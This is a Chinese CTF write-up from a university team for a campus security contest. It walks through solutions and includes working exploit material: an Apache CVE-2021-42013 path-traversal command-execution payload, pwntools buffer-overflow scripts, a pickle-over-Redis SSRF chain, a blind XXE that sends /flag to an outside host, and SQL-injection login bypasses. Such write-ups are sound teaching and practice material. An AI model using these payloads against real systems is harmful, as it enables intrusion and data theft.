高校网络安全管理运维赛WP - 电子科技大学

图片

签到

查看每一帧,拼接后解rot13即可。

img

钓鱼邮件识别

flag1

对发件人进行BASE64解码,flag{wElcOMetO}

img

flag2

对邮件内容BASE64解码,flag{pHishHuntiNG}

img

flag3

SPF DKIM DMARC记录解析,反垃圾邮件的,使用对应的命令解析即可找到三块flag

  • part1
1
2
nslookup -q=txt spf.foobar-edu-cn.com                      
spf.foobar-edu-cn.com text = "v=spf1 ip4:192.0.2.0/24 ip4:198.51.100.123 -all flag_part1={N0wY0u"
  • part2
1
v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC8GgKsT+XBbAEBi0DlAX2ddQz5YOeiftZt5IvksHPnJqzv/Ckp5Iu8fWnPFXOGN7nPJtIvFDsWzW65FXXUVRjMntfcBNt97legXk/95dXAUMzG2i3 flag_part2=_Kn0wH0wt0_ qMcXGK+?+OwIDAQAB
  • part3
1
2
v=DMARC1; p=quarantine; rua=mailto:[email protected]; ruf=mailto:dmarc_frf@flag_part3=ANAlys1sDNS}
flag{N0wY0u_Kn0wH0wt0_ANAlys1sDNS}

Apache(一血)

下载文件知版本

img

随后查询得到漏洞,Apache HTTPd 2.4.49/2.4.50路径穿越与命令执行漏洞(CVE-2021-42013),访问网页知道

img

  • 它从POST请求的表单数据中读取目的地端口(dstport)和要发送的数据(data)。
  • 创建一个TCP套接字,并连接到指定端口的 127.0.0.1
  • 然后将提供的数据发送过套接字。
  • 服务器尝试从套接字读回响应数据,直到没有更多数据接收,然后将其返回给客户端。

构造payload如下:

1
2
3
4
5
6
7
8
9
10
port=80&data=GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: 192.168.241.142:85
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Connection: close
Content-Length: 14
echo;cat /flag

img

easyshell

冰蝎默认AES加密方式,默认KEYrebeyond,解密所有流量,发现读取了temp.zipsecret2.txt两个文件,在temp.zip文件中发现有两个文件secret1.txtsecret2.txt,不难想到打明文攻击,secret2.txt内容如下。

img

1
2
## 重置密码为123
./bkcrack -C secret.zip -c secret2.txt -p secret2.txt -U flag1.zip "123"

img

打开压缩包后在secret1.txt中获取到flag

img

easyre

经典BASE64换表题目,表为ZYXWVUTSRQPONMLKJIHGFEDCBAzyxwvutsrqponmlkjihgfedcba9876543210+/

img

img

babypwn

给了后门函数,直接打ret2backdoor即可。

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob07.contest.pku.edu.cn', 10007)
libc = ELF('./libc.so.6')

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

p.recvuntil(b'Enter your username:')
p.send(b'root')
p.recvuntil(b'Enter the password:')
p.send(b'!@#$%^&*()_+' + b'\x00' * (0x38 - len('!@#$%^&*()_+')) + p64(0x401177))

p.interactive()

img

pyssrf

通过源码,知道突破口在于pickle反序列化的命令执行,题目不出网,只能通过Redis内写序列化后的数据。

题名ssrf,而源码显示只有urlopen,考虑寻找漏洞导致redis的命令执行。

考虑到3.7.1的版本,找到:CVE-2019-9947,可以实现写入redis,利用CRLF的修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import os
import pickle
import base64

serialized_obj = b'''(S'echo -n "$(cat /flag)" | python3 -c "import sys, pickle, base64; from redis import Redis; redis = Redis(host=\\'127.0.0.1\\', port=6379); redis.set(\\'188f3426b78acac9087ab73733637eb2\\', base64.b64encode(pickle.dumps(sys.stdin.read().encode(\\'utf-8\\'))), ex=300);"'

ios

system

.)'''

encoded_data = base64.b64encode(serialized_obj).decode('utf-8')

import hashlib

key=hashlib.md5("http://123123".encode()).hexdigest()

value=encoded_data

print('set',key,value)

脚本如上,输出

1
set 188f3426b78acac9087ab73733637eb2 KFMnZWNobyAtbiAiJChjYXQgL2ZsYWcpIiB8IHB5dGhvbjMgLWMgImltcG9ydCBzeXMsIHBpY2tsZSwgYmFzZTY0OyBmcm9tIHJlZGlzIGltcG9ydCBSZWRpczsgcmVkaXMgPSBSZWRpcyhob3N0PVwnMTI3LjAuMC4xXCcsIHBvcnQ9NjM3OSk7IHJlZGlzLnNldChcJzE4OGYzNDI2Yjc4YWNhYzkwODdhYjczNzMzNjM3ZWIyXCcsIGJhc2U2NC5iNjRlbmNvZGUocGlja2xlLmR1bXBzKHN5cy5zdGRpbi5yZWFkKCkuZW5jb2RlKFwndXRmLThcJykpKSwgZXg9MzAwKTsiJwppb3MKc3lzdGVtCi4p

代码将利用opcodehttp://123123的键值对修改为flag,将输出结果进行处理:

img

url编码后放在url后面:

img

访问后,http://123123此时对应着反序列化的键值对,一次访问后flag写入http://123123键值对,第二次访问得到flag

img

zip

感觉打的是非预期,最开始搜索相关内容都是7z的两个密码对应同一个加密ZIP包问题,https://blog.nsfocus.net/zip/。但是仔细观察题目给的代码其实是一个伪终端,因此可以利用删除字符来删掉前面的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob03.contest.pku.edu.cn', 10003)

token = '420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU='

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

p.recvuntil(b'your token:\n')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96V' + b'\x7f' * 64 + b'flag{')
p.recvuntil(b'your flag:\n')
p.sendline(b'flag{')

p.interactive()

img

Gateway

img

网上找到烽火解密脚本,输入即可

1
2
3
4
5
6
7
8
9
code='106&112&101&107&127&101&104&49&57&56&53&56&54&56&49&51&51&105&56&103&106&49&56&50&56&103&102&56&52&101&104&102&105&53&101&53&102&129&'[:-1]    ## "baseinfoSet_TELECOMPASSWORD":"114&73&55&110&69&37&53&113&"
list=map(int,code.split('&'))
result=[]
for i in list:
if i > 57:
i-=4
result.append(chr(i))
print (''.join(result))
#flag{ad1985868133e8cf1828cb84adbe5a5b}

f or r

参考题目链接https://qanux.github.io/2024/04/22/geek2024/index.html,照着里面的打就行。

img

fileit

盲打XXE,参考文章https://hextuff.dev/2022/06/26/ctfshow-web-getting-started-xxe/。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST / HTTP/2
Host: prob12-ns8rm5me.contest.pku.edu.cn
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="117", "Not;A=Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "macOS"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Content-Type: application/xml
Content-Length: 120

<?xml version="1.1"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://***.***.***.***:****/xxe.dtd">
%remote;
]>
## xxe.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % double "<!ENTITY &#x25; xxe SYSTEM 'http://***.***.***.***:****/put.php?result=%file;'>">
%double;
%xxe;
// put.php
<?php
$a = @$_GET['result'];
if ($a) {
file_put_contents('result.txt', $a);
}

img

Secretbit

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import ast
from random import randrange, shuffle
f=open('./data.txt','r')
s=ast.literal_eval(f.readline())
flag=''
def instance(m, n):
start = list(range(m))
shuffle(start)
vis=[0 for i in range(len(start))]
for i in range(m):
if vis[i]==1:
continue
now = start[i]
vis[now]=1
this_turn = False
for j in range(n-1):
if now == i:
this_turn = True
break
now = start[now]
vis[now] = 1
if not this_turn:
return 0
return 1

def leak(m, n, times=2000):
message = [instance(m, n) for _ in range(times)]
cou=0
for x in message:
cou+=x
return cou
cnt=0;
for x in s:
cnt+=1
print(cnt)
a,b,c=x
cou=0
for z in c:
cou+=z
m1=leak(a[0],a[1])
m2=leak(b[0],b[1])
if abs(m1-cou)<abs(m2-cou):
flag+='0'
else:
flag+='1'

from Crypto.Util.number import *
print(flag)
cs='110011000101100011000010110011101111011011101000110100001101001011100110101111100111001011100110101111111010100011010010110010101011111011100110100010001100011011100100110010101110100010111110110011000110001011000010110001101101101'
flag=int(flag,2)
print(flag)
fl=long_to_bytes(flag)
print(long_to_bytes(flag))
#flag{this_1s_the_sEcret_f1ag}

优化了instance实现方法,使它从O(m*n)的时间复杂度降到了O(m)的时间复杂度,使程序跑的快。同时instance是随机打乱1~m的数组后判断有无长度小于n的循环节。由于进行2000instance,可以视为是求随机打乱1~m的数组后有长度小于n的循环节的一个期望。求这个期望就是在跑一遍2000instance,统计instance1的次数,比较一下哪对(m,n)跑出来的统计instance1的次数和data中统计instance1的次数更接近。

Login

登录时使用长字符串能够爆出登录密码:

img

尝试用户名和密码,用admin/1q2w3e4r成功登录,将程序dump下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'1q2w3e4r')

p.recvuntil(b'Core dumped\n')
with open('./Login','+ab') as fd:
file = p.recvall()
fd.write(file)

存在后门函数,直接ret2backdoor即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level='debug'
context.terminal=['tmux','splitw','-h']
context.arch='amd64'

p = remote('prob04.contest.pku.edu.cn', 10004)

p.recvuntil(b'Please input your token:')
p.sendline(b'420:MEUCIHCbzV_gK-KSymcxQOqGPIQvYLToCjs5aS9A7YQE7z5vAiEAkv_8k96VcVhW7sctKOG28dQmz_bdYs1Ini7Fxi4jIPU=')

## dump file
## p.recvuntil(b'Username:')
## p.sendline(b'admin')
## p.recvuntil(b'Password')
## p.sendline(b'1q2w3e4r')

## p.recvuntil(b'Core dumped\n')
## with open('./Login','+ab') as fd:
## file = p.recvall()
## fd.write(file)

ret_addr = 0x4014BF
backdoor_addr = 0x401276

p.recvuntil(b'Username:')
p.sendline(b'admin')
p.recvuntil(b'Password')
p.sendline(b'\x00' * (0x90 + 0x8) + p64(ret_addr) + p64(backdoor_addr))

p.interactive()

img

img

Messy Mongo

  1. DockerFile找到默认用户名密码登录:

img

  1. 观察代码发现有PATCH方法,可以直接更新用户名,同时严格检测输入的用户名:

img

  1. 利用这个接口修改用户名:
    1. 首先原始账户得到JWT
    2. img
    3. 接着开始改用户,利用PATCH方法:
      1. 首先改为大写的'ADMIN'绕过assert:
      2. 再次利用schema不限制string,进行tolower
    4. img
  2. 重新获取token之后GETtodo
    1. 获取token:
    2. img
    3. 直接GETflag
    4. img

SecretDB

查看十六进制发现有类似flag{uuid}字样被干碎了的字符串。

img

尝试用美亚的恢复大师恢复一下,可以得到如下结果,猜测可能是sort字段排序为flag,但是恢复不全,利用010Editor手推。

img

这里采取的思路是每个十六进制数字的前一位和flag{}字符的前一位作为index索引位,可以得到如下对应关系,这里第15位重复了三次,正好前两位缺失,且多出来的正好有fl字符,因此可以得到flag{f6291bf0-923c-4ba6-_2d7-ffabba4e8f0b}字符串,缺少第25位,爆破提交,好像是为8时对了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
02 -> a
03 -> g
04 -> {
05 -> f
06 -> 6
07 -> 2
08 -> 9
09 -> 1
10 -> b
11 -> f
12 -> 0
13 -> -
14 -> 9
15 -> f,2,l
16 -> 3
17 -> c
18 -> -
19 -> 4
20 -> b
22 -> 6
21 -> a
23 -> -
25 -> 2
26 -> d
27 -> 7
28 -> -
29 -> f
30 -> f
31 -> a
32 -> b
33 -> b
34 -> a
35 -> 4
36 -> e
37 -> 8
38 -> f
39 -> 0
40 -> b
41 -> }

## flag{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

phpsql

万能密码

账号 admin

密码 ""="b'='b

img

得到flagflag{KtfoYJlPMrQdW6fBGWgG}

Babyre

img

upx脱壳,可以使用z3求解v5v6v7v8

img

img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from z3 import *

v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
v8 = BitVec('v8',32)


s = Solver()

s.add(v5 - 2914111512 == 907301700)
s.add((v6 | 2382610115) - 3 * (v6 & 1912357180) + v6 == 2418835448)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8 & 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)



print(s.check())
print(s.model())

但是通过动调发现v7v8不对,应该为多解

我们再次利用约束,设置100循环,求出每一个解后然后增加限制条件来求出多解的情况最后用每一个解来check得到正确的flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from z3 import *

v5 = BitVec('v5',32)
v6 = BitVec('v6',32)
v7 = BitVec('v7',32)
v8 = BitVec('v8',32)


s = Solver()

s.add(v5 - 2914111512 == 907301700)
s.add((v6 | 2382610115) - 3 * (v6 & 1912357180) + v6 == 2418835448)
s.add(4 * ((~v7 & 0xA8453437) + 2 * ~(~v7 | 0xA8453437))+ -3 * (~v7 | 0xA8453437)+ 3 * ~(v7 | 0xA8453437)- (-10 * (v7 & 0xA8453437)+ (v7 ^ 0xA8453437)) == 551387557)
s.add(11 * ~(v8 ^ 0xE33B67BD)+ 4 * ~(~v8 | 0xE33B67BD)- (6 * (v8 & 0xE33B67BD)+ 12 * ~(v8 | 0xE33B67BD))+ 3 * (v8 & 0xD2C7FC0C)+ -5 * v8- 2 * ~(v8 | 0xD2C7FC0C)+ ~(v8 | 0x2D3803F3)+ 4 * (v8 & 0x2D3803F3)- -2 * (v8 | 0x2D3803F3) == -837785892)
s.add(v7 < 0x10000000)
s.add(v8 < 0x10000000)

for i in range(100):
if s.check() == sat:
m = s.model()
print(m)
s.add(Or(v8 != m[v8]))
else:
break